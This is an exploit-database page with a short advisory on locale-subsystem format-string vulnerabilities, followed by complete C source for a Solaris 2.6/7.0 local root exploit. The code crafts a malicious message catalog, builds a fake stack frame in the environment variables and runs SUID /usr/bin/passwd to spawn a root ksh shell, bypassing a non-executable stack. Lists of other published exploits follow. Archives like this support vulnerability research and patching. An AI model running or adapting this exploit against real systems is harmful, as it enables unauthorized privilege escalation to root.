Menu

Search for hundreds of thousands of exploits

"Solaris 2.6/7.0 /locale - Subsystem Format String"

Author

Exploit author

warning3

Platform

Exploit platform

solaris

Release date

Exploit published date

2000-11-02

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
/*
source: https://www.securityfocus.com/bid/1634/info

nectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
 
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
 
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
 
The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).
 
Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.
 
Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.
 
Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)
 
It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.
*/


/* exploit for locale subsystem format strings bug In Solaris with noexec stack.
 * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g. 
 * ./ex -o -4 )
 *
 * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
 * usages: ./ex -h
 *
 * Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.
 * Thanks for horizon's great article about defeating noexec stack for Solaris.
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *           by warning3@nsfocus.com (http://www.nsfocus.com)
 *                                     y2k/11/10
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <dlfcn.h>

#define BUFSIZE 2048                    /* the size of format string buffer*/
#define BUFF    128                     /* the progname buffer size */
#define SHELL   "/bin/ksh"              /* shell name */
#define DEFAULT_NUM 68                  /* format strings number */
#define DEFAULT_RETLOC 0xffbefb44       /* default retloc address */
#define VULPROG  "/usr/bin/passwd"      /* vulnerable program name */

void usages(char *progname)
{

        int i;
        printf("Usage: %s \n", progname);
        printf("          [-h]             Help menu\n");
        printf("          [-n number]      format string's number\n");
        printf("          [-a align]       retloc buffer alignment\n");
        printf("          [-o offset]      retloc offset\n\n");

}

/* get current stack point address to guess Return address */
long get_sp(void)

 {
        __asm__("mov %sp,%i0");
 }


main( int argc, char **argv )

 {

        char *pattern, retlocbuf[BUFF], *env[11];
        char plat[BUFF], *ptr;
        long sh_addr, sp_addr, i;
        long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM,  align = 0, offset=0;
        long  *addrptr;
        long reth, retl, reth1, retl1;
        FILE *fp;
        

        extern int optind, opterr;
        extern char *optarg;
        int opt;

        void *handle;
        long execl_addr, fp_addr, fp1_addr;
        char fakeframe[512];
        char padding[64], pad = 0;
        int env_len, arg_len, len;

        char progname[BUFF];


        strncpy(progname, argv[0], BUFF-1);

        while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
                switch((char)opt)
                {

                        case 'n':
                                num = atoi(optarg);
                                break;

                        case 'a':
                                align = atoi(optarg);
                                break;
                        case 'o':
                                offset = atoi(optarg);
                                break;
                        case '?':
                        case 'h':
                        default:
                                usages(progname);
                                exit(0);
                }

        retloc +=  offset;
        
        /* get platform info  */
        sysinfo(SI_PLATFORM,plat,256);

        /* Construct fake frame in environ */
        
        env[0] = "NLSPATH=:.";
        env[1] = padding;      /* padding so that fakeframe's address can be divided by 4 */
        /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
        env[2]=(fakeframe);     /* sh_addr|sh_addr|0x00                       */
        env[3]=&(fakeframe[40]);/*                     |0x00                  */
        env[4]=&(fakeframe[40]);/*                          |0x00             */
        env[5]=&(fakeframe[40]);/*                               |0x00        */
        env[6]=&(fakeframe[44]);/*                                    |fp2|fp2|fp2|fp2|fp2*/
        env[7]=SHELL;           /* shell strings */
        env[8]=NULL;

        /* calculate the length of "VULPROG" + argv[1] */
        arg_len = strlen(VULPROG) + strlen("-z") + 2;

        /* calculate the pad nummber .
         * We manage to let the length of padding + arg_len + "NLSPATH=." can
         * be divided by 4. So fakeframe address is aligned with 4, otherwise
         * the exploit won't work.
         */
        pad = 3 - (arg_len + strlen(env[0]) +1)%4;
        memset(padding, 'A', pad);
        padding[pad] = '\0';

        /* get environ length */
        env_len = 0; 
        for(i = 0 ; i < 8 ; i++ )
           env_len += strlen(env[i]) + 1;

         
       /* get the length from argv[0] to stack bottom 
        *                                                      
        * +------------------------+-----------+--------+-----------+--------+
        * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|
        * +------------------------+-----------+--------+-----------+--------+
        * ^                                                         ^ 
        * |__startaddr                                              |__sp_addr 
        *
        * "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)
        *
        *  I find "startaddr" always can be divided by 4.
        *  So we can adjust the padding's size to let the fakeframe address
        *  can be aligned with 4.
        *
        * len = length of "argv" + "env" + "platform" + "program name" 
        * if (len%4)!=0, sp_addr - startaddr =  (len/4)*4 + 4
        * if (len%4)==0, sp_addr - startaddr =  len
        * So we can get every entry's address precisely based on startaddr or sp_addr.
        * Now we won't be bored with guessing the alignment and offset.:)
        */
       len = arg_len + env_len + strlen(plat) + 1 
                               + strlen(VULPROG) + 1;
       printf("len = %#x\n", len);

       /* get stack bottom address */

       sp_addr = (get_sp() | 0xffff) & 0xfffffffc;

        /* fp1_addr must be valid stack address */
        fp1_addr = (sp_addr & 0xfffffac0);

        /* get shell string address */
        sh_addr =  sp_addr - (4 - len%4) /* the trailing zero number */
                           - strlen(VULPROG) - strlen(plat)  - strlen(SHELL) - 3 ;

         printf("SHELL address = %#x\n", sh_addr);
         
        /* get our fake frame address */
        fp_addr = sh_addr - 8*8 - 1;

        /* get execl() address */
        if (!(handle=dlopen(NULL,RTLD_LAZY)))
        {                                    
          fprintf(stderr,"Can't dlopen myself.\n");
          exit(1);
        }
        if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
        {
          fprintf(stderr,"Can't find execl().\n");
          exit(1);
        }                                         
                
        /* dec 4 to skip the 'save' instructure */
        execl_addr -= 4;
        
        /* check if the exec addr includes zero  */
        if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
          !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
        {
          fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
          exit(1);
        }

        printf("Using execl() address : %#x\n",execl_addr);

        /* now we set up our fake stack frame */

        addrptr=(long *)fakeframe;

        *addrptr++= 0x12345678; /* you can put any data in  local registers */
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;

        *addrptr++=sh_addr;      /* points to our string to exec */
        *addrptr++=sh_addr;      /* argv[1] is a copy of argv[0] */
        *addrptr++=0x0;          /* NULL for execl();  &fakeframe[40] */
        *addrptr++=fp1_addr;     /* &fakeframe[44] */
        *addrptr++=fp1_addr;
        *addrptr++=fp1_addr;
        *addrptr++=fp1_addr;     /* we need this address to work  */
        *addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */

        *addrptr++=0x0;
        /* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */
        retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);

        printf("Using RETloc address = 0x%x,  fp_addr = 0x%x  ,align= %d\n", retloc, fp_addr, align );

        /* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/

       addrptr = (long *)retlocbuf;
        for( i = 0 ; i < 8 ; i ++ )
            *(addrptr + i) = 0x41414141;
        *(addrptr + 1) = retloc - 4;
        *(addrptr + 3) = retloc - 2;
        *(addrptr + 5) = retloc ;
        *(addrptr + 7) = retloc + 2;

        if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }

        /* Let's make formats string buffer: 
         * |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn|  
         */
        ptr = pattern;
        memset(ptr, 'A', 32);
        ptr += 32;

        for(i = 0 ; i < num ; i++ ){
           memcpy(ptr, "%.8x", 4);
           ptr += 4;
        }

        reth = (fp_addr >> 16) & 0xffff ;
        retl = (fp_addr >>  0) & 0xffff ;
        reth1 = (execl_addr >> 16) & 0xffff ;
        retl1 = (execl_addr >>  0) & 0xffff ;
        

        /* Big endian arch */
        sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn",
             (reth - num*8 -4*8 + align ), (0x10000 +  retl - reth),
             (0x20000 + reth1 - retl), (0x30000 + retl1 - reth1));

        if( !(fp = fopen("messages.po", "w+")))
        {
           perror("fopen");
           exit(1);
        }
        fprintf(fp,"domain \"messages\"\n");
        fprintf(fp,"msgid  \"%%s: illegal option -- %%c\\n\"\n");
        fprintf(fp,"msgstr \"%s\\n\"", pattern + align);
        fclose(fp);
        system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po");

        /* thanks for z33d's idea. 
         * It seems we have to do like this in Solaris 8.
         */
        i=open("./SUNW_OST_OSLIB",O_RDWR);
        /* locate the start position of formats strings in binary file*/
        lseek(i, 62, SEEK_SET);
        /* replace the start bytes with our retlocbuf */
        write(i, retlocbuf + align, 32 - align);
        close(i);

       execle(VULPROG, VULPROG, "-z", NULL, env);
}  /* end of main */
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2001-04-17 "Solaris 2.6 - FTP Core Dump Shadow Password Recovery" remote solaris warning3
2000-11-30 "Solaris 2.6/7.0 - 'locale' Format Strings noexec stack Overflow" local solaris warning3
2000-11-02 "Solaris 2.6/7.0 /locale - Subsystem Format String" local solaris warning3
2000-09-08 "Solaris 2.6/7.0 'eject' locale - Subsystem Format String" local solaris warning3
2000-09-06 "RedHat 6 GLIBC/locale - Subsystem Format String" local linux warning3
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.